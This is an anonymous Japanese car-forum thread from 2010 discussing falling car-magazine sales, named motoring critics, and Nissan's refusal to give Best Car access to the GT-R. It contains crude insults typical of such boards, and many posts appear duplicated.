815 ：名無しさん＠そうだドライブへ行こう：2010/10/19(火) 03:42:59 ID:cNHaVUrh0
>>813
極上中古車、ロールスやフェラでやるから意味があるんだよなぁ…
国産車やポルシェ・アルファ・ミニとかは猫や八重洲さんやノスヒロが
福野並みではないが、ショップ連携で時々レストア短期連載やるじゃん
極上中古車、ロールスやフェラでやるから意味があるんだよなぁ…
国産車やポルシェ・アルファ・ミニとかは猫や八重洲さんやノスヒロが
福野並みではないが、ショップ連携で時々レストア短期連載やるじゃん
816 ：名無しさん＠そうだドライブへ行こう：2010/10/19(火) 15:50:49 ID:wIM2IlNRP
http://kunisawa.txt-nifty.com/kunisawamitsuhiro/2010/10/post-4c36.html
>キョウカイの同業者に会う度に皆さん「厳しい」と言う。なんたって仕事の場である
>雑誌が次々と休刊してしまうのだからどうしようもありません。しかもヒョウロンカと
>いう職業、つぶしは全く利かない。もちろんビジネスセンスのあるヒトだと、こんな
>時期でもキッチリと利益を上げてますけど‥‥。
>ビジネスモデルが思いつかない、と言い換えてもよかろう。自動車雑誌の販売部数
>を増やせれば明るさも出てくる。されど３８歳以下のヒトはクルマ雑誌を買ってくれない。
>彼らに聞くと「必要じゃない情報が多く含まれているから」だという。彼らの多くはクルマ
>全般が好きなのではなく、非常に狭い範囲の趣味なのだ。
>すなわち「Ｆ１が好き」とか「インテのタイプＲが好き」とか「カウンタックが好き」といった
>具合。限られた世界で楽しめればいいワケです。大海に出て苦労するより、井戸の中
>で快適に過ごす方がいい、ということ。確かにこのコンセプトなら、出世や将来を考え
>なくていいから鬱にならないかもしれません。
>キョウカイの同業者に会う度に皆さん「厳しい」と言う。なんたって仕事の場である
>雑誌が次々と休刊してしまうのだからどうしようもありません。しかもヒョウロンカと
>いう職業、つぶしは全く利かない。もちろんビジネスセンスのあるヒトだと、こんな
>時期でもキッチリと利益を上げてますけど‥‥。
>ビジネスモデルが思いつかない、と言い換えてもよかろう。自動車雑誌の販売部数
>を増やせれば明るさも出てくる。されど３８歳以下のヒトはクルマ雑誌を買ってくれない。
>彼らに聞くと「必要じゃない情報が多く含まれているから」だという。彼らの多くはクルマ
>全般が好きなのではなく、非常に狭い範囲の趣味なのだ。
>すなわち「Ｆ１が好き」とか「インテのタイプＲが好き」とか「カウンタックが好き」といった
>具合。限られた世界で楽しめればいいワケです。大海に出て苦労するより、井戸の中
>で快適に過ごす方がいい、ということ。確かにこのコンセプトなら、出世や将来を考え
>なくていいから鬱にならないかもしれません。
817 ：名無しさん＠そうだドライブへ行こう：2010/10/19(火) 18:54:36 ID:B9O8rYt80
子供のころからクルマ大好きで
バイトからそのまま業界入ったような
自称評論家、本物の井の中の蛙が何を…
バイトからそのまま業界入ったような
自称評論家、本物の井の中の蛙が何を…
818 ：名無しさん＠そうだドライブへ行こう：2010/10/19(火) 19:03:59 ID:0UY03MKc0
雑誌が売れない理由を客のせいにしてる内はダメだわｗ
819 ：名無しさん＠そうだドライブへ行こう：2010/10/19(火) 19:36:46 ID:cpeG+biF0
そこまでわかってるなら、ビジネスモデルのヒントが盛り沢山な気がするんだが・・
820 ：名無しさん＠そうだドライブへ行こう：2010/10/19(火) 20:17:26 ID:JkPnjk3o0
>>818
カーボーイは読者の大半をヘタレ扱いしてるぞ。編集長がヘタレ代表だと。
カーボーイは読者の大半をヘタレ扱いしてるぞ。編集長がヘタレ代表だと。
821 ：名無しさん＠そうだドライブへ行こう：2010/10/19(火) 20:46:40 ID:kf6gYeHp0
>>820
だからあんなオプションと変わらないような雑誌になり果てたわけで
だからあんなオプションと変わらないような雑誌になり果てたわけで
822 ：名無しさん＠そうだドライブへ行こう：2010/10/19(火) 22:21:37 ID:+JJv5mne0
823 ：名無しさん＠そうだドライブへ行こう：2010/10/19(火) 22:34:33 ID:7pw0u6eHP
>>821
表紙もイラストになってオプと区別つかんｗｗｗ
表紙もイラストになってオプと区別つかんｗｗｗ
824 ：名無しさん＠そうだドライブへ行こう：2010/10/19(火) 22:40:25 ID:MpLz6lt40
オプションとベストカーの両方を買ってる人が結構居るそうだ。
オートサロンでのベストカーアンケートより。
オートサロンでのベストカーアンケートより。
825 ：名無しさん＠そうだドライブへ行こう：2010/10/19(火) 23:36:34 ID:mab/oSAP0
俺が車雑誌を買わなくなった理由
例えばスポーツカーについて知りたいと思った時に
最高速、ドリフト、モータースポーツ等ジャンルごとに分かれていて
更にモータースポーツの中でもラリー、F-1、GTカー等細分化されている
それぞれに詳しく書いてくれるならいいが実際はジャンル分けを言い訳に情報を小出しにする
(まぁ書く事が無いだけだと思いますけど)
その結果どの雑誌を見ても物足りない感じと穴埋めのごとき自評評論家のクソ作文という
内容なので雑誌を買わなくなった
>>816のコピペとは買わない理由が違う
「必要じゃない情報が多く含まれているから」というのは件の書き主の駄文の事である
例えばスポーツカーについて知りたいと思った時に
最高速、ドリフト、モータースポーツ等ジャンルごとに分かれていて
更にモータースポーツの中でもラリー、F-1、GTカー等細分化されている
それぞれに詳しく書いてくれるならいいが実際はジャンル分けを言い訳に情報を小出しにする
(まぁ書く事が無いだけだと思いますけど)
その結果どの雑誌を見ても物足りない感じと穴埋めのごとき自評評論家のクソ作文という
内容なので雑誌を買わなくなった
>>816のコピペとは買わない理由が違う
「必要じゃない情報が多く含まれているから」というのは件の書き主の駄文の事である
826 ：名無しさん＠そうだドライブへ行こう：2010/10/20(水) 00:15:05 ID:Gj+gkg/L0
>>823
間違えて買っていく人狙いなんだろｗ
いっそサビ取り雑誌みたいな絵柄にすれば、サビ取り雑誌愛読者が間違えて買って行くのにｗ
カーボーイは貧乏チューンとパーツ流用情報をメインに紙面刷新すべし。
初代編集長の橋本さん（貧乏チューン神）が草葉の陰で泣いているぞ。
間違えて買っていく人狙いなんだろｗ
いっそサビ取り雑誌みたいな絵柄にすれば、サビ取り雑誌愛読者が間違えて買って行くのにｗ
カーボーイは貧乏チューンとパーツ流用情報をメインに紙面刷新すべし。
初代編集長の橋本さん（貧乏チューン神）が草葉の陰で泣いているぞ。
827 ：名無しさん＠そうだドライブへ行こう：2010/10/20(水) 01:57:27 ID:pTX50/M/0
>>826
その頃のカーボーイには大変お世話になった。
その頃のカーボーイには大変お世話になった。
828 ：名無しさん＠そうだドライブへ行こう：2010/10/20(水) 03:41:59 ID:Fkw5F5P60
829 ：名無しさん＠そうだドライブへ行こう：2010/10/20(水) 04:30:03 ID:MwkHkAIy0
>>826
もう貧乏チューンを教えてくれるプライベーターはカーボーイ見放してるし編集部員もそんな技術や知識を持っていない
頼みの綱になったチューニング屋はゴミを高く売りつけるための宣伝としか思ってないしもうこの雑誌は終わったんだよ
もう貧乏チューンを教えてくれるプライベーターはカーボーイ見放してるし編集部員もそんな技術や知識を持っていない
頼みの綱になったチューニング屋はゴミを高く売りつけるための宣伝としか思ってないしもうこの雑誌は終わったんだよ
830 ：名無しさん＠そうだドライブへ行こう：2010/10/20(水) 10:18:32 ID:N2P/nVfOO
831 ：名無しさん＠そうだドライブへ行こう：2010/10/20(水) 10:18:35 ID:/UJPrXai0
金子浩久、新型カイエンだけど
http://autoc-one.jp/porsche/cayenne/report-529810/0002.html
「姿勢がきわめてフラットなのである。旧型では、コーナリングや路面の状況によって大きく左右され、
ボディは前後左右にせわしなく揺すられ続けていた。それが、新型では大幅に抑制されている」
旧型のレポートでそんなこと書いてたか？こいつほんとハラ立つ。こんなのばっかだわ
http://autoc-one.jp/porsche/cayenne/report-529810/0002.html
「姿勢がきわめてフラットなのである。旧型では、コーナリングや路面の状況によって大きく左右され、
ボディは前後左右にせわしなく揺すられ続けていた。それが、新型では大幅に抑制されている」
旧型のレポートでそんなこと書いてたか？こいつほんとハラ立つ。こんなのばっかだわ
832 ：名無しさん＠そうだドライブへ行こう：2010/10/20(水) 12:37:47 ID:N2P/nVfOO
833 ：名無しさん＠そうだドライブへ行こう：2010/10/20(水) 16:52:12 ID:rtYBaMG30
>>831
だってＰＪの犬だもの（ｗ
だってＰＪの犬だもの（ｗ
834 ：名無しさん＠そうだドライブへ行こう：2010/10/20(水) 20:28:20 ID:R5pg9VbR0
>>831
バイク雑誌のスレでも似たようなレスがあった。
自分たちで評論家の信頼性や評価を下げてるわけだけど、
そんな指摘を聞き入れる姿勢も見せないってことは読者なんて1mmも考えてないんだろ。
トップギアとみんカラでいいじゃんもう
バイク雑誌のスレでも似たようなレスがあった。
自分たちで評論家の信頼性や評価を下げてるわけだけど、
そんな指摘を聞き入れる姿勢も見せないってことは読者なんて1mmも考えてないんだろ。
トップギアとみんカラでいいじゃんもう
835 ：名無しさん＠そうだドライブへ行こう：2010/10/20(水) 20:31:54 ID:EOdN9j320
836 ：名無しさん＠そうだドライブへ行こう：2010/10/20(水) 20:59:46 ID:GsGVWIP80
>>834
俺もトップギアは好きだけど妄信的な厨が増えてなんだかなーって感じ。
俺もトップギアは好きだけど妄信的な厨が増えてなんだかなーって感じ。
837 ：名無しさん＠そうだドライブへ行こう：2010/10/20(水) 23:00:22 ID:Gj+gkg/L0
>>836
ニコ動の字幕がムチャクチャになってたりとか
ニコ動の字幕がムチャクチャになってたりとか
838 ：名無しさん＠そうだドライブへ行こう：2010/10/21(木) 16:09:22 ID:OsMjIO+H0
20日発売のdriverが自宅周辺の書店やコンビニでほぼ完売。
やむをえず、駅の売店で購入。80年代のレトロホンダ車特集…
同日の宇都宮市で50代教師の運転するalfa MITOが登校中の小学生を跳ねて
田んぼにダイブした事故、笑ってしまった。
フェラやアルファに七宝焼きプレートやらステッカー貼るのは流行りだが、
そいつのは白なので全く似合わない。本人の技量も疑わしいね。
扁平タイヤ履かせた車でステア切り過ぎたのかな？
やむをえず、駅の売店で購入。80年代のレトロホンダ車特集…
同日の宇都宮市で50代教師の運転するalfa MITOが登校中の小学生を跳ねて
田んぼにダイブした事故、笑ってしまった。
フェラやアルファに七宝焼きプレートやらステッカー貼るのは流行りだが、
そいつのは白なので全く似合わない。本人の技量も疑わしいね。
扁平タイヤ履かせた車でステア切り過ぎたのかな？
839 ：名無しさん＠そうだドライブへ行こう：2010/10/21(木) 19:24:33 ID:65LwKzul0
Mitoなんて普通のクルマじゃん
事故ったクルマがたまたまMitoだったってだけだろ
５人の子供がケガ、重症の子もいるというのに
たとえ便所の落書き板とはいえ、公共の場に
「笑ってしまった」などと書き込む人間性のほうを疑うね
事故ったクルマがたまたまMitoだったってだけだろ
５人の子供がケガ、重症の子もいるというのに
たとえ便所の落書き板とはいえ、公共の場に
「笑ってしまった」などと書き込む人間性のほうを疑うね
840 ：名無しさん＠そうだドライブへ行こう：2010/10/21(木) 20:14:40 ID:GUNHgTG5P
死亡事故じゃないかったからいいようなものの
痛い車の事故だからといってとても笑えないわ
痛い車の事故だからといってとても笑えないわ
841 ：名無しさん＠そうだドライブへ行こう：2010/10/21(木) 21:10:28 ID:tTTWQdkO0
Mitoはベスモのスラロームテストで接地性がメチャクチャだったな
今回の事故はそれ以前の運転ミスだろうが
今回の事故はそれ以前の運転ミスだろうが
842 ：名無しさん＠そうだドライブへ行こう：2010/10/21(木) 22:45:24 ID:yCLi7xPH0
>>838
納豆工場に飛び込んだんならともかくｗ
納豆工場に飛び込んだんならともかくｗ
843 ：名無しさん＠そうだドライブへ行こう：2010/10/21(木) 22:45:33 ID:YI3VpTCQ0
>>795
とっくに寿命は尽きているのだが、
世間からまったく相手にされていないから
生き長らえていることになっている
「消えた高齢者」と一緒だよ。
形だけでも生き長らえていることにしておけば、
金が入って、私腹が肥やせるという
不純な動機も同じ。
とっくに寿命は尽きているのだが、
世間からまったく相手にされていないから
生き長らえていることになっている
「消えた高齢者」と一緒だよ。
形だけでも生き長らえていることにしておけば、
金が入って、私腹が肥やせるという
不純な動機も同じ。
844 ：名無しさん＠そうだドライブへ行こう：2010/10/22(金) 22:59:37 ID:uFKKl7hV0
「MAG-Xビジネス」は、他の自動車雑誌の付録でたくさんだろ
845 ：名無しさん＠そうだドライブへ行こう：2010/10/22(金) 23:04:10 ID:aoeQn+AF0
グループ・サプライヤー
ttp://www2.toyota.co.jp/jp/facilities/affiliates/
ttp://www2.toyota.co.jp/jp/link/index.html
トヨタグループ
* (株)豊田自動織機
* 愛知製鋼(株)
* (株)ジェイテクト
* トヨタ車体(株)
* 豊田通商(株)
* アイシン精機(株)
* (株)デンソー
* トヨタ紡織(株)
* 東和不動産(株)
* (株)豊田中央研究所
* 関東自動車工業(株)
* 豊田合成(株)
* 日野自動車(株)
* ダイハツ工業(株)
* トヨタホーム(株)
ttp://www2.toyota.co.jp/jp/facilities/affiliates/
ttp://www2.toyota.co.jp/jp/link/index.html
トヨタグループ
* (株)豊田自動織機
* 愛知製鋼(株)
* (株)ジェイテクト
* トヨタ車体(株)
* 豊田通商(株)
* アイシン精機(株)
* (株)デンソー
* トヨタ紡織(株)
* 東和不動産(株)
* (株)豊田中央研究所
* 関東自動車工業(株)
* 豊田合成(株)
* 日野自動車(株)
* ダイハツ工業(株)
* トヨタホーム(株)
846 ：名無しさん＠そうだドライブへ行こう：2010/10/22(金) 23:10:36 ID:daAZulaM0
なんやかんや言ってベストカーやカートップ、ホリデーオートは見ていて面白い
でも最近ホリデーオートの入荷数が減ってるのが気になる
でも最近ホリデーオートの入荷数が減ってるのが気になる
847 ：名無しさん＠そうだドライブへ行こう：2010/10/23(土) 00:41:03 ID:9u+c1Qak0
昔に比べたらホリデーもなー。
あどべんちゃあが連載していた頃がよかったなー
あどべんちゃあが連載していた頃がよかったなー
848 ：名無しさん＠そうだドライブへ行こう：2010/10/23(土) 11:00:53 ID:kHyboOE/0
849 ：名無しさん＠そうだドライブへ行こう：2010/10/23(土) 12:45:16 ID:YjWkaY100
日産がベストカーにＧＴＲの取材拒否。水野死ね。
850 ：名無しさん＠そうだドライブへ行こう：2010/10/23(土) 12:49:09 ID:CALL3hl70
国沢さんのおかげですなｗ
851 ：名無しさん＠そうだドライブへ行こう：2010/10/23(土) 13:18:00 ID:H3bw5mP/0
>>849
kwsk
kwsk
852 ：名無しさん＠そうだドライブへ行こう：2010/10/23(土) 13:26:10 ID:CALL3hl70
>>847
あれもう連載してないの？残念（´･ω･｀）
あれもう連載してないの？残念（´･ω･｀）
853 ：名無しさん＠そうだドライブへ行こう：2010/10/23(土) 13:35:14 ID:YjWkaY100
>>851
ＧＴＲの開発者 水野の指示で
かねてからベストカーのスクープにより、ＧＴ－Ｒユーザーに迷惑をかけ営業妨害を行ってきたから
具体的には５３０馬力なのに５２０馬力とスクープした事
ちなみに９月の販売台数は８台で前年同月比２１・１％ ２０１０年累計は２４０台
ＧＴＲの開発者 水野の指示で
かねてからベストカーのスクープにより、ＧＴ－Ｒユーザーに迷惑をかけ営業妨害を行ってきたから
具体的には５３０馬力なのに５２０馬力とスクープした事
ちなみに９月の販売台数は８台で前年同月比２１・１％ ２０１０年累計は２４０台
854 ：名無しさん＠そうだドライブへ行こう：2010/10/23(土) 13:35:47 ID:Ho2nU3OP0
てかベストカーとかその手の雑誌の取材全部断ってもクルマの売り上げ変わらないんじゃ・・・
855 ：名無しさん＠そうだドライブへ行こう：2010/10/23(土) 14:44:57 ID:H3bw5mP/0
856 ：名無しさん＠そうだドライブへ行こう：2010/10/23(土) 16:45:21 ID:gnK/bKqxO
メーカーの寄生虫離れ
857 ：名無しさん＠そうだドライブへ行こう：2010/10/23(土) 17:27:36 ID:KVFNj+HJP
GT-Rくらいの車両価格になると自動車雑誌のインプレなんて何の広告効果ないよ
富裕層なんて自分の気に入ったものを買うだけだし
富裕層なんて自分の気に入ったものを買うだけだし
858 ：名無しさん＠そうだドライブへ行こう：2010/10/23(土) 17:58:02 ID:tJk3UCKR0
ベストカーが講談社関連会社発行だから、拒否出しやったんでしょ。
事前発表（プレスキット配布）を使ってスクープ調に載せるのは
MAG-Xと同様だけど、3Aは傘下編プロつぶせばMAG-X切れるからねぇ。
日産はプラモデルやミニカーも商品化権でメーカーに文句付けてるし、
R33GT-Rで某老人評論家○島氏に「貸してくれなかった」と書かれたな。
事前発表（プレスキット配布）を使ってスクープ調に載せるのは
MAG-Xと同様だけど、3Aは傘下編プロつぶせばMAG-X切れるからねぇ。
日産はプラモデルやミニカーも商品化権でメーカーに文句付けてるし、
R33GT-Rで某老人評論家○島氏に「貸してくれなかった」と書かれたな。
859 ：名無しさん＠そうだドライブへ行こう：2010/10/23(土) 18:00:51 ID:cHVKqBHa0
860 ：名無しさん＠そうだドライブへ行こう：2010/10/23(土) 18:01:21 ID:/CEsrGYi0
861 ：名無しさん＠そうだドライブへ行こう：2010/10/23(土) 18:03:29 ID:/CEsrGYi0
>>858
三本の御老公に「老年暴走族」と言わしめた爺さんかｗ
三本の御老公に「老年暴走族」と言わしめた爺さんかｗ
862 ：名無しさん＠そうだドライブへ行こう：2010/10/23(土) 18:27:37 ID:tJk3UCKR0
>>860
＞あのオッサンもう日本人相手してないだろｗ
そりゃ、そうだろ。
向こうでは倍またはそれ以上の値段ぶら下げる事も出来るからな。
日本のユーザーはリミッターとナビ管理装置で持てる能力出せない車
買わされているワケで、いい鴨にされてる
＞あのオッサンもう日本人相手してないだろｗ
そりゃ、そうだろ。
向こうでは倍またはそれ以上の値段ぶら下げる事も出来るからな。
日本のユーザーはリミッターとナビ管理装置で持てる能力出せない車
買わされているワケで、いい鴨にされてる
863 ：名無しさん＠そうだドライブへ行こう：2010/10/23(土) 19:00:33 ID:8yz/2wDi0
信者と教祖様の関係で成り立ってる車種だからタダ乗りして茶々入れる雑誌なんか
排除したいのが本音だろう。
排除したいのが本音だろう。
864 ：名無しさん＠そうだドライブへ行こう：2010/10/23(土) 20:49:56 ID:SExIN8X0P
国沢なんか使っているから
865 ：名無しさん＠そうだドライブへ行こう：2010/10/23(土) 21:14:24 ID:/CEsrGYi0
あと、竹平素信は顔出さない方がいい。
つまらんインプレしか書けない上に
顔に知性を全く感じない。
大人しく泥んこ遊びだけやっときゃいいのにな。
つまらんインプレしか書けない上に
顔に知性を全く感じない。
大人しく泥んこ遊びだけやっときゃいいのにな。
866 ：名無しさん＠そうだドライブへ行こう：2010/10/24(日) 00:14:13 ID:6o/XiHN00
竹平素信はベストカーの重鎮だろうがｗ
ガンさんと共にベストカーを支えてきた功労者だ。
ガンさんと共にベストカーを支えてきた功労者だ。
867 ：名無しさん＠そうだドライブへ行こう：2010/10/24(日) 00:20:12 ID:SyR1T3DP0
竹平さんは自分の会社を１回倒産させちゃったから
雑誌の仕事が無くなったら相当ダメージあるでしょうね。
雑誌の仕事が無くなったら相当ダメージあるでしょうね。
868 ：名無しさん＠そうだドライブへ行こう：2010/10/24(日) 08:02:22 ID:uQwu2OH80
評論家が乗ってもいないのに語ったらいかんｗ
既に自動車評論家の淘汰が始まってるんだな。
既に自動車評論家の淘汰が始まってるんだな。
869 ：名無しさん＠そうだドライブへ行こう：2010/10/24(日) 08:23:27 ID:OZ48Y4Xv0
870 ：名無しさん＠そうだドライブへ行こう：2010/10/24(日) 09:49:33 ID:/PBRCiep0
871 ：名無しさん＠そうだドライブへ行こう：2010/10/24(日) 15:12:19 ID:POyYuA4K0
それが評論家とうもんだ
872 ：名無しさん＠そうだドライブへ行こう：2010/10/24(日) 15:35:06 ID:Sy9dwaXv0
増刊だったベストカープラスが隔月刊で定期化。
俺は忙しいから次回からベストカー本体も買わないと思う。
マガジンＸビジネスが出てマガジンＸを買わなくなったみたいに。
俺は忙しいから次回からベストカー本体も買わないと思う。
マガジンＸビジネスが出てマガジンＸを買わなくなったみたいに。
873 ：名無しさん＠そうだドライブへ行こう：2010/10/24(日) 17:04:31 ID:v/IzOp9AP
俺と疾れ！
874 ：名無しさん＠そうだドライブへ行こう：2010/10/24(日) 17:12:09 ID:5eOFNgM30
>>860
日本向けの何倍もの価格で吹っかけてもキャッシュでポンと買ってくれる方々は大切にするだろうｗ
日本向けの何倍もの価格で吹っかけてもキャッシュでポンと買ってくれる方々は大切にするだろうｗ
875 ：名無しさん＠そうだドライブへ行こう：2010/10/25(月) 00:00:23 ID:l97gPUQW0
876 ：名無しさん＠そうだドライブへ行こう：2010/10/25(月) 00:14:40 ID:Ng1dospH0
>>875
しつけーんだよバカ
しつけーんだよバカ
877 ：名無しさん＠そうだドライブへ行こう：2010/10/25(月) 06:42:17 ID:vbsBt9m70
R35の九月の販売八台って辛いな。NSXの末期と同じだ。
性能が良くて信頼性が高くてもバックにある思想や信念がないスポーツカーは売れない。
追加モデルを出そうがマイナーチェンジで性能アップしようが一緒だろう。
一千万クラスの高性能車が売れてないんじゃない訳で。車に魅力が無いって悲惨だ。
性能が良くて信頼性が高くてもバックにある思想や信念がないスポーツカーは売れない。
追加モデルを出そうがマイナーチェンジで性能アップしようが一緒だろう。
一千万クラスの高性能車が売れてないんじゃない訳で。車に魅力が無いって悲惨だ。
878 ：名無しさん＠そうだドライブへ行こう：2010/10/25(月) 07:34:16 ID:hCCgPrll0
879 ：名無しさん＠そうだドライブへ行こう：2010/10/25(月) 12:34:28 ID:L9yFrrr0O
>>877
今の日本に一千万円超えのクルマをポンと買える奴なんてごく少数だからなw
今の日本に一千万円超えのクルマをポンと買える奴なんてごく少数だからなw
880 ：名無しさん＠そうだドライブへ行こう：2010/10/25(月) 12:55:29 ID:zmvZURSr0
マイナーチェンジされて馬力だけでも45PSも上がるのが前もってわかってるのに、わざわざ旧型買うこともないっていうのもあるんじゃないのか。
そりゃ今回のマイナーチェンジで劇的に売れるようになるとも思わんが。
そもそも思想や信念とか、偉そうに言ってるが一体それはどんなだと表現する気だ？>>877よ。
そりゃ今回のマイナーチェンジで劇的に売れるようになるとも思わんが。
そもそも思想や信念とか、偉そうに言ってるが一体それはどんなだと表現する気だ？>>877よ。
881 ：名無しさん＠そうだドライブへ行こう：2010/10/25(月) 15:39:49 ID:qA20luSGO
今の国産車で一番大切に育てられてるのはGT-R。
ニュルでのポルシェとの一件やGT1勝利とかで
なんとか世界中でプレミアムスポーツとして認知されつつある。
そこで安っぽい雑誌に足を引っ張られるのは我慢ならんのだろうね。
まあこの後BCの日産、特に新型セレナ、リーフ叩きが予想されるが。
ニュルでのポルシェとの一件やGT1勝利とかで
なんとか世界中でプレミアムスポーツとして認知されつつある。
そこで安っぽい雑誌に足を引っ張られるのは我慢ならんのだろうね。
まあこの後BCの日産、特に新型セレナ、リーフ叩きが予想されるが。
882 ：名無しさん＠そうだドライブへ行こう：2010/10/25(月) 16:48:39 ID:8hdfqab40
883 ：名無しさん＠そうだドライブへ行こう：2010/10/25(月) 16:49:14 ID:UjtRb3Tk0
安っぽい雑誌があってこそ、
「大切に育てられる」やら「プレミアム何とか」やら
まず買わない層が夢を与えてもらってるんだろよ。
「大切に育てられる」やら「プレミアム何とか」やら
まず買わない層が夢を与えてもらってるんだろよ。
884 ：名無しさん＠そうだドライブへ行こう：2010/10/25(月) 18:50:40 ID:qA20luSGO
BC立ち読みしてきた。恨み節全開でワラタ
「一人の権力がうんぬん～」とか
「馬力低く書いてゴメンネゴメンネ～」って。
ペンは剣より強しとはよく言ったもんだ。
「一人の権力がうんぬん～」とか
「馬力低く書いてゴメンネゴメンネ～」って。
ペンは剣より強しとはよく言ったもんだ。
885 ：名無しさん＠そうだドライブへ行こう：2010/10/25(月) 18:56:01 ID:G7Qdxski0
>884
水平対向のＦＲを否定してた伏木氏の写真にお灸をしてるコラとかもしてるしな。
いつも妄想のスクープしてるなかで、たまたま先行して当たったやつなんだから、予想が外れた人をあそこまで貶めれるような雑誌じゃないだろｗ
水平対向のＦＲを否定してた伏木氏の写真にお灸をしてるコラとかもしてるしな。
いつも妄想のスクープしてるなかで、たまたま先行して当たったやつなんだから、予想が外れた人をあそこまで貶めれるような雑誌じゃないだろｗ
886 ：名無しさん＠そうだドライブへ行こう：2010/10/25(月) 19:40:49 ID:YYH2XoJr0
887 ：名無しさん＠そうだドライブへ行こう：2010/10/25(月) 20:08:49 ID:hCCgPrll0
インプレッサＳ－ＧＴ ５ドア ＧＨ８ ＭＴ 黒 買って３年３ヶ月だがスバルのセールスマンが来たよ。
車が売れてないらしい。
今月クラッチが壊れて９万８千円で直したばかり。
ＡＴをすすめてきたよ。
車が売れてないらしい。
今月クラッチが壊れて９万８千円で直したばかり。
ＡＴをすすめてきたよ。
888 ：名無しさん＠そうだドライブへ行こう：2010/10/25(月) 20:20:13 ID:AYGO3NYx0
>>884
まともな読者は冷めた目でしか見てないだろうなｗ
まともな読者は冷めた目でしか見てないだろうなｗ
889 ：名無しさん＠そうだドライブへ行こう：2010/10/25(月) 23:08:52 ID:09HDCLDV0
>>872
四駆雑誌の4×4マガジンに派生のオフロードエクスプレスというのがあった
しかし販売減で4×4マガジンと統合され連載コーナー名として名を残した
だが4×4マガジンも無くなった
今はWEB版に以降という体裁でその名を残しているがそれも無くなるのではないかと思う
だって面白くないんだもん
四駆雑誌の4×4マガジンに派生のオフロードエクスプレスというのがあった
しかし販売減で4×4マガジンと統合され連載コーナー名として名を残した
だが4×4マガジンも無くなった
今はWEB版に以降という体裁でその名を残しているがそれも無くなるのではないかと思う
だって面白くないんだもん
890 ：名無しさん＠そうだドライブへ行こう：2010/10/25(月) 23:41:16 ID:HgEFA/E00
>>889
初代編集長が独立して起こしたCCV誌も消えちゃったんだっけ？
初代編集長が独立して起こしたCCV誌も消えちゃったんだっけ？
891 ：名無しさん＠そうだドライブへ行こう：2010/10/26(火) 02:58:40 ID:/NjDSTy80
R35って海外で売れてるの？
892 ：名無しさん＠そうだドライブへ行こう：2010/10/26(火) 10:09:05 ID:1HSBQrfo0
>>889>>890
そもそもクロカン系の4駆そのものがジャンルとして死んじゃったから、
毎月書くようなネタも無いしな。
CCVなんて本屋で売ってる雑誌になってたこと自体が奇跡だし。
結局古い車の記事になっちゃうんだけど、それも年数経てばネタ切れになるし。
CCVなんてバックナンバー残してる人が多いから、
なおさら過去記事の焼き直しは通用しないし。
そもそもクロカン系の4駆そのものがジャンルとして死んじゃったから、
毎月書くようなネタも無いしな。
CCVなんて本屋で売ってる雑誌になってたこと自体が奇跡だし。
結局古い車の記事になっちゃうんだけど、それも年数経てばネタ切れになるし。
CCVなんてバックナンバー残してる人が多いから、
なおさら過去記事の焼き直しは通用しないし。
893 ：名無しさん＠そうだドライブへ行こう：2010/10/26(火) 12:33:44 ID:TEPdpaBuO
いやあ
ベストカーは香ばしいねえ
広告を貰っている立場の癖に
フライング記事で干されて
逆切れしてやんの
記事でどれだけの読者が車を買ったんだと
ほざいているが、広告主に
広告ページ分仕事をやっただけで
あたり前の以前の問題である
「載せてやる」 的な勘違い野郎は
出版業界は多すぎる
ベストカーは香ばしいねえ
広告を貰っている立場の癖に
フライング記事で干されて
逆切れしてやんの
記事でどれだけの読者が車を買ったんだと
ほざいているが、広告主に
広告ページ分仕事をやっただけで
あたり前の以前の問題である
「載せてやる」 的な勘違い野郎は
出版業界は多すぎる
894 ：名無しさん＠そうだドライブへ行こう：2010/10/26(火) 14:05:45 ID:9t2162xy0
そもそもベストカー(というかあのペラペラ系雑誌)なんて買う価値あるの？
わざわざ買ってまでじっくり読みたい記事なんて全く無いんだが。
あんなもんコンビニやらで暇潰しに読まれて
手垢ベタベタになったあげくに返品されるもんでしょｗ
よくあれで商売成り立ってるなと思うんだけど
・・・案外売れてるのかね？？
わざわざ買ってまでじっくり読みたい記事なんて全く無いんだが。
あんなもんコンビニやらで暇潰しに読まれて
手垢ベタベタになったあげくに返品されるもんでしょｗ
よくあれで商売成り立ってるなと思うんだけど
・・・案外売れてるのかね？？
895 ：名無しさん＠そうだドライブへ行こう：2010/10/26(火) 14:33:59 ID:TEPdpaBuO
883氏の意見が総てを表しているな。
そんな雑誌に夢を与えられ
本気で評論家になれると思い込んだ
フマヤスオみたいのを生み出した。
そんな雑誌に夢を与えられ
本気で評論家になれると思い込んだ
フマヤスオみたいのを生み出した。
896 ：名無しさん＠そうだドライブへ行こう ：2010/10/26(火) 15:02:57 ID:sz3l3WFF0
自動車雑誌に限らず、ほとんどの雑誌は１回買い忘れてみると
その後は自然に購読やめられる代物なんだよ。
ベストカーは値段が安いから、待合室やネカフェの雑誌とかに
重宝する。好男社版MAG-Xだな。
その後は自然に購読やめられる代物なんだよ。
ベストカーは値段が安いから、待合室やネカフェの雑誌とかに
重宝する。好男社版MAG-Xだな。
897 ：名無しさん＠そうだドライブへ行こう：2010/10/26(火) 15:26:08 ID:pSAyiRW40
>>894
でも一番車雑誌で売れてるんだよな。だから調子乗ってルンじゃね?
でも一番車雑誌で売れてるんだよな。だから調子乗ってルンじゃね?
898 ：名無しさん＠そうだドライブへ行こう：2010/10/26(火) 15:43:38 ID:TEPdpaBuO
出荷部数だけです
返本も多いです。
返本も多いです。
899 ：名無しさん＠そうだドライブへ行こう：2010/10/26(火) 17:21:50 ID:9iQZfuuq0
正直、どんな内容の雑誌にせよ日産がメーカーとしての立場で取った行動はどうなんだろうね？
俺はとんでもない「勘違い高飛車」だと思ったよ 日産というメーカーを
対応があまりにも大人気なさ過ぎる
オプション誌で「我々メディアに冷たい対応をする某メーカーがある」というのが載ってたが、まさか・・
俺はとんでもない「勘違い高飛車」だと思ったよ 日産というメーカーを
対応があまりにも大人気なさ過ぎる
オプション誌で「我々メディアに冷たい対応をする某メーカーがある」というのが載ってたが、まさか・・
900 ：名無しさん＠そうだドライブへ行こう：2010/10/26(火) 18:23:31 ID:4+MqFT2rO
>>899
俺は逆だな。
スクープは確かに普通の人も興味あるが、メーカーからすると産業スパイみたいなもの。
かつ今回のようなマイナーチェンジをフルモデルチェンジみたく書いたりすると下手すると業務妨害になる。
むしろベストカー側の逆ギレにムカついた。俺が立場ある人物なら編集長おろす。
大メーカー、しかも大スポンサー怒らせるのはよっぽどだぞ。
三推社(だっけ？)どころか本体の講談社まで被害がくる可能性があるぞ。
俺は逆だな。
